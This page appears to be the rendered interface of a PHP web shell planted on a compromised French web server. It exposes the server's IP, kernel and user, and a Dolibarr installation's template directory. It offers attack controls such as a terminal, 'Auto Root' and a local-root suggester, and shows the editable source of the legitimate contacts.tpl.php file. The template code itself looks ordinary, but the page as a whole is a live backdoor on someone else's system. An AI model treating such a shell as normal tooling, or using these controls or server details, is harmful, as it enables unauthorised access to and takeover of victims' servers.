Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
bdc.bdcloud.fr /
core /
tpl /
Delete
Unzip
Name
Size
Permission
Date
Action
README
123
B
-rwxr-x---
2023-04-04 15:50
admin_extrafields_add.tpl.php
16.18
KB
-rwxr-x---
2023-04-04 15:50
admin_extrafields_edit.tpl.php
19.13
KB
-rwxr-x---
2023-04-04 15:50
advtarget.tpl.php
23.16
KB
-rwxr-x---
2023-04-04 15:50
ajaxrow.tpl.php
5.09
KB
-rwxr-x---
2023-04-04 15:50
bloc_comment.tpl.php
5.04
KB
-rwxr-x---
2023-04-04 15:50
bloc_showhide.tpl.php
3.16
KB
-rwxr-x---
2023-04-04 15:50
card_presend.tpl.php
14.83
KB
-rwxr-x---
2023-04-04 15:50
commonfields_add.tpl.php
3.37
KB
-rwxr-x---
2023-04-04 15:50
commonfields_edit.tpl.php
3.66
KB
-rwxr-x---
2023-04-04 15:50
commonfields_view.tpl.php
6.81
KB
-rwxr-x---
2023-04-04 15:50
contacts.tpl.php
13.49
KB
-rwxr-x---
2023-04-04 15:50
document_actions_post_headers.tpl.php
4.41
KB
-rwxr-x---
2023-04-04 15:50
error.tpl.php
779
B
-rwxr-x---
2023-04-04 15:50
extrafields_add.tpl.php
1.8
KB
-rwxr-x---
2023-04-04 15:50
extrafields_edit.tpl.php
1.61
KB
-rwxr-x---
2023-04-04 15:50
extrafields_list_search_input.tpl.php
3.01
KB
-rwxr-x---
2023-04-04 15:50
extrafields_list_search_param.tpl.php
1.86
KB
-rwxr-x---
2023-04-04 15:50
extrafields_list_search_sql.tpl.php
3.14
KB
-rwxr-x---
2023-04-04 15:50
extrafields_list_search_title.tpl.php
2.04
KB
-rwxr-x---
2023-04-04 15:50
filemanager.tpl.php
13.61
KB
-rwxr-x---
2023-04-04 15:50
footer.tpl.php
779
B
-rwxr-x---
2023-04-04 15:50
header.tpl.php
787
B
-rwxr-x---
2023-04-04 15:50
list_print_total.tpl.php
1.41
KB
-rwxr-x---
2023-04-04 15:50
login.tpl.php
18.33
KB
-rwxr-x---
2023-04-04 15:50
massactions_pre.tpl.php
16.28
KB
-rwxr-x---
2023-04-04 15:50
notes.tpl.php
6.64
KB
-rwxr-x---
2023-04-04 15:50
object_discounts.tpl.php
6.1
KB
-rwxr-x---
2023-04-04 15:50
objectline_create.tpl.php
49.86
KB
-rwxr-x---
2023-04-04 15:50
objectline_edit.tpl.php
22.5
KB
-rwxr-x---
2023-04-04 15:50
objectline_title.tpl.php
7.88
KB
-rwxr-x---
2023-04-04 15:50
objectline_view.tpl.php
22.83
KB
-rwxr-x---
2023-04-04 15:50
objectlinked_lineimport.tpl.php
3.35
KB
-rwxr-x---
2023-04-04 15:50
onlinepaymentlinks.tpl.php
7.85
KB
-rwxr-x---
2023-04-04 15:50
originproductline.tpl.php
2.31
KB
-rwxr-x---
2023-04-04 15:50
passwordforgotten.tpl.php
11.04
KB
-rwxr-x---
2023-04-04 15:50
passwordreset.tpl.php
12.42
KB
-rwxr-x---
2023-04-04 15:50
resource_add.tpl.php
2.62
KB
-rwxr-x---
2023-04-04 15:50
resource_view.tpl.php
3.9
KB
-rwxr-x---
2023-04-04 15:50
Save
Rename
<?php /* Copyright (C) 2012 Regis Houssin <regis.houssin@inodbox.com> * Copyright (C) 2013-2015 Laurent Destailleur <eldy@users.sourceforge.net> * Copyright (C) 2015-2016 Charlie BENKE <charlie@patas-monkey.com> * Copyright (C) 2021 Frédéric France <frederic.france@netlogic.fr> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. * * This template needs: * $object * $withproject (if we are on task contact) * * $preselectedtypeofcontact may be defined or not */ // Protection to avoid direct call of template if (empty($object) || !is_object($object)) { print "Error, template page can't be called as URL"; exit; } if (empty($preselectedtypeofcontact)) { $preselectedtypeofcontact = 0; } require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; $module = $object->element; // Special cases if ($module == 'propal') { $permission = $user->rights->propal->creer; } elseif ($module == 'fichinter') { $permission = $user->rights->ficheinter->creer; } elseif ($module == 'order_supplier') { if (empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD)) { $permission = $user->rights->fournisseur->commande->creer; } else { $permission = $user->rights->supplier_order->creer; } } elseif ($module == 'invoice_supplier' && empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD)) { if (empty($conf->global->MAIN_USE_NEW_SUPPLIERMOD)) { $permission = $user->rights->fournisseur->facture->creer; } else { $permission = $user->rights->supplier_invoice->creer; } } elseif ($module == 'project') { $permission = $user->rights->projet->creer; } elseif ($module == 'action') { $permission = $user->rights->agenda->myactions->create; } elseif ($module == 'shipping') { $permission = $user->rights->expedition->creer; } elseif ($module == 'reception') { $permission = $user->rights->reception->creer; } elseif ($module == 'project_task') { $permission = $user->rights->projet->creer; } elseif (!isset($permission) && isset($user->rights->$module->creer)) { $permission = $user->rights->$module->creer; } elseif (!isset($permission) && isset($user->rights->$module->write)) { $permission = $user->rights->$module->write; } $formcompany = new FormCompany($db); $companystatic = new Societe($db); $contactstatic = new Contact($db); $userstatic = new User($db); ?> <!-- BEGIN PHP TEMPLATE CONTACTS --> <?php if ($permission) { print '<div class="underbanner clearboth"></div>'."\n"; print '<div class="div-table-responsive-no-min">'."\n"; print '<div class="tagtable tableforcontact centpercent noborder nobordertop allwidth">'."\n"; ?> <form class="tagtr liste_titre"> <div class="tagtd liste_titre"><?php echo img_object('', 'company', 'class="optiongrey paddingright"').$langs->trans("ThirdParty"); ?></div> <div class="tagtd liste_titre"><?php echo img_picto($langs->trans("Users"), 'user', 'class="optiongrey paddingright"').$langs->trans("Users").' | '.img_picto($langs->trans("Contacts"), 'contact', 'class="optiongrey paddingright"').$langs->trans("Contacts"); ?></div> <div class="tagtd liste_titre"><?php echo $langs->trans("ContactType"); ?></div> <div class="tagtd liste_titre"> </div> <div class="tagtd liste_titre"> </div> </form> <?php if (empty($hideaddcontactforuser)) { ?> <form class="tagtr impair nohover" action="<?php echo $_SERVER["PHP_SELF"].'?id='.$object->id; ?>" method="POST"> <input type="hidden" name="token" value="<?php echo newToken(); ?>" /> <input type="hidden" name="id" value="<?php echo $object->id; ?>" /> <input type="hidden" name="action" value="addcontact" /> <input type="hidden" name="source" value="internal" /> <?php if (!empty($withproject)) { print '<input type="hidden" name="withproject" value="'.$withproject.'">'; } ?> <div class="tagtd"><?php echo $conf->global->MAIN_INFO_SOCIETE_NOM; ?></div> <!-- <div class="nowrap tagtd"><?php echo img_object('', 'user').' '.$langs->trans("Users"); ?></div> --> <div class="tagtd maxwidthonsmartphone"><?php echo img_object('', 'user', 'class="pictofixedwidth"').$form->select_dolusers($user->id, 'userid', 0, (!empty($userAlreadySelected) ? $userAlreadySelected : null), 0, null, null, 0, 56, 0, '', 0, '', 'minwidth100imp widthcentpercentminusxx maxwidth400'); ?></div> <div class="tagtd maxwidthonsmartphone"> <?php $tmpobject = $object; if (($object->element == 'shipping' || $object->element == 'reception') && is_object($objectsrc)) { $tmpobject = $objectsrc; } $formcompany->selectTypeContact($tmpobject, '', 'type', 'internal', 'position', 0, 'minwidth125imp widthcentpercentminusx maxwidth400'); ?></div> <div class="tagtd"> </div> <div class="tagtd center"><input type="submit" class="button small" value="<?php echo $langs->trans("Add"); ?>"></div> </form> <?php } if (empty($hideaddcontactforthirdparty)) { ?> <form class="tagtr pair nohover" action="<?php echo $_SERVER["PHP_SELF"].'?id='.$object->id; ?>" method="POST"> <input type="hidden" name="token" value="<?php echo newToken(); ?>" /> <input type="hidden" name="id" value="<?php echo $object->id; ?>" /> <input type="hidden" name="action" value="addcontact" /> <input type="hidden" name="source" value="external" /> <input type="hidden" name="page_y" value="" /> <?php if (!empty($withproject)) { print '<input type="hidden" name="withproject" value="'.$withproject.'">'; } ?> <div class="tagtd nowrap noborderbottom"> <?php $selectedCompany = GETPOSTISSET("newcompany") ? GETPOST("newcompany", 'int') : (empty($object->socid) ? 0 : $object->socid); $selectedCompany = $formcompany->selectCompaniesForNewContact($object, 'id', $selectedCompany, 'newcompany', '', 0, '', 'minwidth300imp'); ?> </div> <div class="tagtd noborderbottom minwidth500imp"> <?php print img_object('', 'contact', 'class="pictofixedwidth"').$form->selectcontacts(($selectedCompany > 0 ? $selectedCompany : -1), '', 'contactid', 3, '', '', 1, 'minwidth100imp widthcentpercentminusxx maxwidth400'); $nbofcontacts = $form->num; $newcardbutton = ''; if (!empty($object->socid) && $object->socid > 1 && $user->rights->societe->creer) { $newcardbutton .= '<a href="'.DOL_URL_ROOT.'/contact/card.php?socid='.$selectedCompany.'&action=create&backtopage='.urlencode($_SERVER["PHP_SELF"].'?id='.$object->id).'" title="'.$langs->trans('NewContact').'"><span class="fa fa-plus-circle valignmiddle paddingleft"></span></a>'; } print $newcardbutton; ?> </div> <div class="tagtd noborderbottom"> <?php $tmpobject = $object; if (($object->element == 'shipping' || $object->element == 'reception') && is_object($objectsrc)) { $tmpobject = $objectsrc; } $formcompany->selectTypeContact($tmpobject, $preselectedtypeofcontact, 'typecontact', 'external', 'position', 0, 'minwidth125imp widthcentpercentminusx maxwidth400'); ?> </div> <div class="tagtd noborderbottom"> </div> <div class="tagtd center noborderbottom"> <input type="submit" id="add-customer-contact" class="button small" value="<?php echo $langs->trans("Add"); ?>"<?php if (!$nbofcontacts) { echo ' disabled'; } ?>> </div> </form> <?php } print "</div>"; print "</div>"; print '<br>'; } // Prepare list // TODO: replace this with direct SQL string to use $db->sort($sortfield, $sortorder) $list = array(); foreach (array('internal', 'external') as $source) { if (($object->element == 'shipping' || $object->element == 'reception') && is_object($objectsrc)) { $contactlist = $objectsrc->liste_contact(-1, $source); } else { $contactlist = $object->liste_contact(-1, $source); } foreach ($contactlist as $contact) { $entry = new stdClass(); $entry->id = $contact['rowid']; $entry->type = $contact['libelle']; $entry->nature = ""; $entry->thirdparty_html = ""; $entry->thirdparty_name = ""; $entry->contact_html = ""; $entry->contact_name = ""; $entry->status = ""; if ($contact['source'] == 'internal') { $entry->nature = $langs->trans("User"); } elseif ($contact['source'] == 'external') { $entry->nature = $langs->trans("ThirdPartyContact"); } if ($contact['socid'] > 0) { $companystatic->fetch($contact['socid']); $entry->thirdparty_html = $companystatic->getNomUrl(1); $entry->thirdparty_name = strtolower($companystatic->getFullName($langs)); } elseif ($contact['socid'] < 0) { $entry->thirdparty_html = $conf->global->MAIN_INFO_SOCIETE_NOM; $entry->thirdparty_name = strtolower($conf->global->MAIN_INFO_SOCIETE_NOM); } if ($contact['source'] == 'internal') { $userstatic->fetch($contact['id']); $entry->contact_html = $userstatic->getNomUrl(-1, '', 0, 0, 0, 0, '', 'valignmiddle'); $entry->contact_name = strtolower($userstatic->getFullName($langs)); } elseif ($contact['source'] == 'external') { $contactstatic->fetch($contact['id']); $entry->contact_html = $contactstatic->getNomUrl(1, '', 0, '', 0, 0); $entry->contact_name = strtolower($contactstatic->getFullName($langs)); } if ($contact['source'] == 'internal') { $entry->status = $userstatic->LibStatut($contact['statuscontact'], 3); } elseif ($contact['source'] == 'external') { $entry->status = $contactstatic->LibStatut($contact['statuscontact'], 3); } $list[] = $entry; } } $sortfield = GETPOST("sortfield", "aZ09comma"); $sortorder = GETPOST("sortorder", 'aZ09comma'); if (!$sortfield) { $sortfield = "nature"; } if (!$sortorder) { $sortorder = "asc"; } // Re-sort list $list = dol_sort_array($list, $sortfield, $sortorder, 1, 0, 1); $arrayfields = array( 'rowid' => array('label'=>$langs->trans("Id"), 'checked'=>1), 'nature' => array('label'=>$langs->trans("NatureOfContact"), 'checked'=>1), 'thirdparty' => array('label'=>$langs->trans("ThirdParty"), 'checked'=>1), 'contact' => array('label'=>$langs->trans("Users").' | '.$langs->trans("Contacts"), 'checked'=>1), 'type' => array('label'=>$langs->trans("ContactType"), 'checked'=>1), 'status' => array('label'=>$langs->trans("Status"), 'checked'=>1), 'link' => array('label'=>$langs->trans("Link"), 'checked'=>1), ); $param = 'id='.$object->id.'&mainmenu=home'; /** * Show list */ print '<form method="POST" id="searchFormList" action="'.$_SERVER["PHP_SELF"].'">'; print '<input type="hidden" name="token" value="'.newToken().'">'; print '<input type="hidden" name="formfilteraction" id="formfilteraction" value="list">'; print '<input type="hidden" name="action" value="list">'; print '<input type="hidden" name="sortfield" value="'.$sortfield.'">'; print '<input type="hidden" name="sortorder" value="'.$sortorder.'">'; print '<div class="div-table-responsive-no-min">'."\n"; print '<table class="tagtable nobottomiftotal liste">'; print '<tr class="liste_titre">'; print_liste_field_titre($arrayfields['thirdparty']['label'], $_SERVER["PHP_SELF"], "thirdparty_name", "", $param, "", $sortfield, $sortorder); print_liste_field_titre($arrayfields['contact']['label'], $_SERVER["PHP_SELF"], "contact_name", "", $param, "", $sortfield, $sortorder); print_liste_field_titre($arrayfields['nature']['label'], $_SERVER["PHP_SELF"], "nature", "", $param, "", $sortfield, $sortorder); print_liste_field_titre($arrayfields['type']['label'], $_SERVER["PHP_SELF"], "type", "", $param, "", $sortfield, $sortorder); print_liste_field_titre($arrayfields['status']['label'], $_SERVER["PHP_SELF"], "statut", "", $param, "", $sortfield, $sortorder, 'center '); print_liste_field_titre('', $_SERVER["PHP_SELF"], "", "", "", "", $sortfield, $sortorder, 'center maxwidthsearch '); print "</tr>"; foreach ($list as $entry) { print '<tr class="oddeven">'; print '<td class="tdoverflowmax200">'.$entry->thirdparty_html.'</td>'; print '<td class="tdoverflowmax200">'.$entry->contact_html.'</td>'; print '<td class="nowrap"><span class="opacitymedium">'.$entry->nature.'</span></td>'; print '<td class="tdoverflowmax200">'.$entry->type.'</td>'; print '<td class="tdoverflowmax200 center">'.$entry->status.'</td>'; if ($permission) { $href = $_SERVER["PHP_SELF"]; $href .= '?id='.((int) $object->id); $href .= '&action=deletecontact&token='.newToken(); $href .= '&lineid='.((int) $entry->id); print '<td class="center">'; print '<a href="'.$href.'">'; print img_picto($langs->trans("Unlink"), "unlink"); print "</a>"; print "</td>"; } print "</tr>"; } if (empty($list)) { $colspan = 5 + ($permission ? 1 : 0); print '<tr><td colspan="'.$colspan.'"><span class="opacitymedium">'; if (is_object($object) && !empty($object->thirdparty)) { print $form->textwithpicto($langs->trans("NoSpecificContactAddress"), $langs->trans("NoSpecificContactAddressBis")); } else { print $langs->trans("NoSpecificContactAddress"); } print '</span>'; print '</td></tr>'; } print "</table>"; print '</div>'; print "</form>"; print "<!-- TEMPLATE CONTACTS HOOK BEGIN HERE -->\n"; if (is_object($hookmanager)) { $hookmanager->initHooks(array('contacttpl')); $parameters = array(); $reshook = $hookmanager->executeHooks('formContactTpl', $parameters, $object, $action); } print "<!-- END PHP TEMPLATE CONTACTS -->\n";